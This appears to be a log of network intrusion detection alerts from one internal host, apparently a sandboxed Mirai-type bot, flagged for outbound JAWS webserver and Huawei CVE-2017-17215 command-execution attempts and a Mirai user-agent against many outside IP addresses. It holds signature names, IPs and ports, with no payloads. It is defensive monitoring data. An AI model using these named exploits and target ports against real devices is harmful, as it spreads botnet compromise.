2025-01-30T10:43:29.893874+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	39344	106.111.211.33	80	TCP
2025-01-30T10:43:29.894105+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35452	69.220.86.47	80	TCP
2025-01-30T10:43:29.894105+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35452	69.220.86.47	80	TCP
2025-01-30T10:43:29.894991+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60262	176.40.25.167	80	TCP
2025-01-30T10:43:29.894991+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	60262	176.40.25.167	80	TCP
2025-01-30T10:43:29.895019+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43814	67.162.169.69	80	TCP
2025-01-30T10:43:29.895019+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43814	67.162.169.69	80	TCP
2025-01-30T10:43:29.895029+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46152	140.38.79.111	80	TCP
2025-01-30T10:43:29.895029+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46152	140.38.79.111	80	TCP
2025-01-30T10:43:29.895323+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49888	25.106.63.88	80	TCP
2025-01-30T10:43:29.895323+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49888	25.106.63.88	80	TCP
2025-01-30T10:43:29.895395+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46934	111.185.169.137	80	TCP
2025-01-30T10:43:29.895395+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46934	111.185.169.137	80	TCP
2025-01-30T10:43:29.895531+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49450	208.22.142.137	80	TCP
2025-01-30T10:43:29.895531+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49450	208.22.142.137	80	TCP
2025-01-30T10:43:29.895667+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45986	116.146.162.253	80	TCP
2025-01-30T10:43:29.895667+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45986	116.146.162.253	80	TCP
2025-01-30T10:43:29.895967+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58796	145.226.147.93	80	TCP
2025-01-30T10:43:29.895967+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58796	145.226.147.93	80	TCP
2025-01-30T10:43:29.896054+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59460	63.123.128.167	80	TCP
2025-01-30T10:43:29.896054+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59460	63.123.128.167	80	TCP
2025-01-30T10:43:29.896109+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42056	99.52.36.64	80	TCP
2025-01-30T10:43:29.896109+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	42056	99.52.36.64	80	TCP
2025-01-30T10:43:29.896294+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57202	104.234.182.98	80	TCP
2025-01-30T10:43:29.896294+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	57202	104.234.182.98	80	TCP
2025-01-30T10:43:29.896296+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50418	159.173.59.75	80	TCP
2025-01-30T10:43:29.896296+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50418	159.173.59.75	80	TCP
2025-01-30T10:43:29.896445+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49212	111.171.81.116	80	TCP
2025-01-30T10:43:29.896445+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49212	111.171.81.116	80	TCP
2025-01-30T10:43:29.896579+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34888	135.136.191.113	80	TCP
2025-01-30T10:43:29.896579+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34888	135.136.191.113	80	TCP
2025-01-30T10:43:29.896967+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49380	153.78.202.93	80	TCP
2025-01-30T10:43:29.896967+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	49380	153.78.202.93	80	TCP
2025-01-30T10:43:29.898313+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35364	86.12.127.77	80	TCP
2025-01-30T10:43:29.898313+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35364	86.12.127.77	80	TCP
2025-01-30T10:43:29.899979+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46900	216.35.1.242	80	TCP
2025-01-30T10:43:29.899979+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46900	216.35.1.242	80	TCP
2025-01-30T10:43:29.900111+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	39102	131.125.12.195	80	TCP
2025-01-30T10:43:29.900111+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	39102	131.125.12.195	80	TCP
2025-01-30T10:43:29.901065+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45290	111.106.104.90	80	TCP
2025-01-30T10:43:29.901065+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45290	111.106.104.90	80	TCP
2025-01-30T10:43:29.912960+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59464	97.108.248.57	80	TCP
2025-01-30T10:43:29.912960+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59464	97.108.248.57	80	TCP
2025-01-30T10:43:29.913003+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55186	155.79.148.101	80	TCP
2025-01-30T10:43:29.913003+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55186	155.79.148.101	80	TCP
2025-01-30T10:43:29.914582+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36284	68.138.249.105	80	TCP
2025-01-30T10:43:29.914582+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36284	68.138.249.105	80	TCP
2025-01-30T10:43:29.914997+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46078	118.14.191.105	80	TCP
2025-01-30T10:43:29.914997+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46078	118.14.191.105	80	TCP
2025-01-30T10:43:29.916780+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36334	51.121.157.167	80	TCP
2025-01-30T10:43:29.916780+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36334	51.121.157.167	80	TCP
2025-01-30T10:43:30.452452+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43674	197.9.76.181	37215	TCP
2025-01-30T10:43:30.603617+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59118	197.254.126.85	37215	TCP
2025-01-30T10:43:30.605238+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57302	156.214.44.44	37215	TCP
2025-01-30T10:43:30.636481+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33376	156.151.148.196	37215	TCP
2025-01-30T10:43:31.443838+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56618	197.8.214.252	37215	TCP
2025-01-30T10:43:31.475502+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60046	41.184.175.181	37215	TCP
2025-01-30T10:43:31.645809+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37908	197.96.93.111	37215	TCP
2025-01-30T10:43:31.650070+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47546	156.252.210.42	37215	TCP
2025-01-30T10:43:31.924840+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33008	176.169.106.94	80	TCP
2025-01-30T10:43:31.924840+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33008	176.169.106.94	80	TCP
2025-01-30T10:43:31.925040+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47466	122.13.196.224	80	TCP
2025-01-30T10:43:31.925040+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47466	122.13.196.224	80	TCP
2025-01-30T10:43:31.925620+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58282	74.171.106.18	80	TCP
2025-01-30T10:43:31.925620+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58282	74.171.106.18	80	TCP
2025-01-30T10:43:31.926889+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40064	54.213.244.240	80	TCP
2025-01-30T10:43:31.926889+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40064	54.213.244.240	80	TCP
2025-01-30T10:43:31.927656+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47102	181.254.228.55	80	TCP
2025-01-30T10:43:31.927656+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47102	181.254.228.55	80	TCP
2025-01-30T10:43:31.928555+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58638	109.75.255.126	80	TCP
2025-01-30T10:43:31.928555+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	58638	109.75.255.126	80	TCP
2025-01-30T10:43:32.182647+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45934	197.9.163.93	37215	TCP
2025-01-30T10:43:32.613161+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45658	156.156.231.215	37215	TCP
2025-01-30T10:43:32.614261+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45874	156.100.169.193	37215	TCP
2025-01-30T10:43:32.627830+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39060	156.95.194.162	37215	TCP
2025-01-30T10:43:32.627923+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34000	197.50.204.108	37215	TCP
2025-01-30T10:43:32.628010+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33490	197.45.184.16	37215	TCP
2025-01-30T10:43:32.628037+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35414	41.139.128.121	37215	TCP
2025-01-30T10:43:32.628112+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38272	41.20.70.109	37215	TCP
2025-01-30T10:43:32.629046+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42806	156.59.247.233	37215	TCP
2025-01-30T10:43:32.629883+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42100	197.1.154.8	37215	TCP
2025-01-30T10:43:32.631857+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59256	41.69.12.241	37215	TCP
2025-01-30T10:43:32.631862+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59148	197.130.192.70	37215	TCP
2025-01-30T10:43:32.631904+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47334	41.226.182.138	37215	TCP
2025-01-30T10:43:32.631914+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39294	156.104.210.113	37215	TCP
2025-01-30T10:43:32.633988+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57582	197.119.158.61	37215	TCP
2025-01-30T10:43:32.633991+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46892	41.47.169.228	37215	TCP
2025-01-30T10:43:32.635820+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56234	156.207.40.203	37215	TCP
2025-01-30T10:43:32.644392+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37318	156.89.76.175	37215	TCP
2025-01-30T10:43:32.909344+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51344	210.33.198.143	80	TCP
2025-01-30T10:43:32.909344+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51344	210.33.198.143	80	TCP
2025-01-30T10:43:32.925157+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51854	158.45.248.238	80	TCP
2025-01-30T10:43:32.925157+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51854	158.45.248.238	80	TCP
2025-01-30T10:43:32.925272+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	39324	157.66.26.133	80	TCP
2025-01-30T10:43:32.925272+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	39324	157.66.26.133	80	TCP
2025-01-30T10:43:32.926916+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45788	209.240.8.31	80	TCP
2025-01-30T10:43:32.926916+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45788	209.240.8.31	80	TCP
2025-01-30T10:43:32.940706+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51210	13.41.23.98	80	TCP
2025-01-30T10:43:32.940706+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51210	13.41.23.98	80	TCP
2025-01-30T10:43:32.941233+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57318	133.0.82.188	80	TCP
2025-01-30T10:43:32.941233+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	57318	133.0.82.188	80	TCP
2025-01-30T10:43:32.942622+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41914	79.66.242.179	80	TCP
2025-01-30T10:43:32.942622+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41914	79.66.242.179	80	TCP
2025-01-30T10:43:32.942728+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	39244	107.143.239.88	80	TCP
2025-01-30T10:43:32.942728+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	39244	107.143.239.88	80	TCP
2025-01-30T10:43:32.942936+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50562	92.185.193.235	80	TCP
2025-01-30T10:43:32.942936+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50562	92.185.193.235	80	TCP
2025-01-30T10:43:32.943364+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36158	17.53.148.118	80	TCP
2025-01-30T10:43:32.943364+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36158	17.53.148.118	80	TCP
2025-01-30T10:43:32.944508+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45462	161.177.19.110	80	TCP
2025-01-30T10:43:32.944508+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45462	161.177.19.110	80	TCP
2025-01-30T10:43:32.944729+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51194	183.49.180.198	80	TCP
2025-01-30T10:43:32.944729+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51194	183.49.180.198	80	TCP
2025-01-30T10:43:32.944790+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40946	136.9.224.154	80	TCP
2025-01-30T10:43:32.944790+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40946	136.9.224.154	80	TCP
2025-01-30T10:43:32.946016+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50350	103.15.169.120	80	TCP
2025-01-30T10:43:32.946016+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50350	103.15.169.120	80	TCP
2025-01-30T10:43:32.946090+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41976	39.80.51.83	80	TCP
2025-01-30T10:43:32.946090+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	41976	39.80.51.83	80	TCP
2025-01-30T10:43:32.948118+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40172	89.132.129.138	80	TCP
2025-01-30T10:43:32.948118+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40172	89.132.129.138	80	TCP
2025-01-30T10:43:32.958268+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59892	204.56.228.160	80	TCP
2025-01-30T10:43:32.958268+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59892	204.56.228.160	80	TCP
2025-01-30T10:43:32.962011+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35150	69.97.231.242	80	TCP
2025-01-30T10:43:32.962011+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35150	69.97.231.242	80	TCP
2025-01-30T10:43:32.962384+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51594	213.22.86.216	80	TCP
2025-01-30T10:43:32.962384+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51594	213.22.86.216	80	TCP
2025-01-30T10:43:32.962457+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36790	24.165.61.194	80	TCP
2025-01-30T10:43:32.962457+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	36790	24.165.61.194	80	TCP
2025-01-30T10:43:34.643822+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51132	156.157.166.251	37215	TCP
2025-01-30T10:43:34.681260+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45670	197.84.146.72	37215	TCP
2025-01-30T10:43:34.692448+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49762	41.194.128.148	37215	TCP
2025-01-30T10:43:34.957043+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48628	65.141.2.74	80	TCP
2025-01-30T10:43:34.957043+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	48628	65.141.2.74	80	TCP
2025-01-30T10:43:34.958102+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57718	77.229.16.194	80	TCP
2025-01-30T10:43:34.958102+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	57718	77.229.16.194	80	TCP
2025-01-30T10:43:34.979729+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34742	106.197.42.7	80	TCP
2025-01-30T10:43:34.979729+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34742	106.197.42.7	80	TCP
2025-01-30T10:43:35.676878+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53214	41.165.112.211	37215	TCP
2025-01-30T10:43:35.679638+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52476	156.204.102.163	37215	TCP
2025-01-30T10:43:35.679647+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38986	197.87.93.111	37215	TCP
2025-01-30T10:43:36.154129+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34472	112.148.199.5	80	TCP
2025-01-30T10:43:36.154129+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34472	112.148.199.5	80	TCP
2025-01-30T10:43:36.674843+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50240	156.218.173.61	37215	TCP
2025-01-30T10:43:36.675575+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35208	41.223.184.147	37215	TCP
2025-01-30T10:43:36.675648+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35242	197.226.228.8	37215	TCP
2025-01-30T10:43:36.692765+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52952	41.86.163.65	37215	TCP
2025-01-30T10:43:36.723890+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33140	41.103.141.219	37215	TCP
2025-01-30T10:43:36.727412+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35286	197.184.152.155	37215	TCP
2025-01-30T10:43:36.993698+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53454	98.144.159.93	80	TCP
2025-01-30T10:43:36.993698+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53454	98.144.159.93	80	TCP
2025-01-30T10:43:37.003165+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	53380	99.28.145.48	80	TCP
2025-01-30T10:43:37.003165+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	53380	99.28.145.48	80	TCP
2025-01-30T10:43:37.450832+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47798	18.221.7.224	80	TCP
2025-01-30T10:43:37.450832+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	47798	18.221.7.224	80	TCP
2025-01-30T10:43:37.715994+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59222	212.85.59.165	80	TCP
2025-01-30T10:43:37.715994+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59222	212.85.59.165	80	TCP
2025-01-30T10:43:37.972211+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	38486	73.64.225.250	80	TCP
2025-01-30T10:43:37.972211+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	38486	73.64.225.250	80	TCP
2025-01-30T10:43:37.972224+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51886	114.131.138.28	80	TCP
2025-01-30T10:43:37.972224+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51886	114.131.138.28	80	TCP
2025-01-30T10:43:37.972231+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37630	37.71.144.222	80	TCP
2025-01-30T10:43:37.972231+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37630	37.71.144.222	80	TCP
2025-01-30T10:43:37.987499+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48548	114.227.81.99	80	TCP
2025-01-30T10:43:37.987499+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	48548	114.227.81.99	80	TCP
2025-01-30T10:43:37.987501+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60396	121.157.234.15	80	TCP
2025-01-30T10:43:37.987501+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	60396	121.157.234.15	80	TCP
2025-01-30T10:43:37.987571+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33760	124.87.65.15	80	TCP
2025-01-30T10:43:37.987571+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	33760	124.87.65.15	80	TCP
2025-01-30T10:43:37.988125+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35644	165.165.57.60	80	TCP
2025-01-30T10:43:37.988125+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35644	165.165.57.60	80	TCP
2025-01-30T10:43:37.988125+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51844	91.86.172.154	80	TCP
2025-01-30T10:43:37.988125+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	51844	91.86.172.154	80	TCP
2025-01-30T10:43:37.989017+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54374	86.69.46.198	80	TCP
2025-01-30T10:43:37.989017+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54374	86.69.46.198	80	TCP
2025-01-30T10:43:37.989087+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	38200	203.169.27.126	80	TCP
2025-01-30T10:43:37.989087+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	38200	203.169.27.126	80	TCP
2025-01-30T10:43:37.993284+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	42830	199.135.106.136	80	TCP
2025-01-30T10:43:37.993284+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	42830	199.135.106.136	80	TCP
2025-01-30T10:43:38.003143+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50106	32.240.138.191	80	TCP
2025-01-30T10:43:38.003143+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50106	32.240.138.191	80	TCP
2025-01-30T10:43:38.003424+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	35936	169.80.201.173	80	TCP
2025-01-30T10:43:38.003424+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	35936	169.80.201.173	80	TCP
2025-01-30T10:43:38.003583+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33994	84.208.1.101	80	TCP
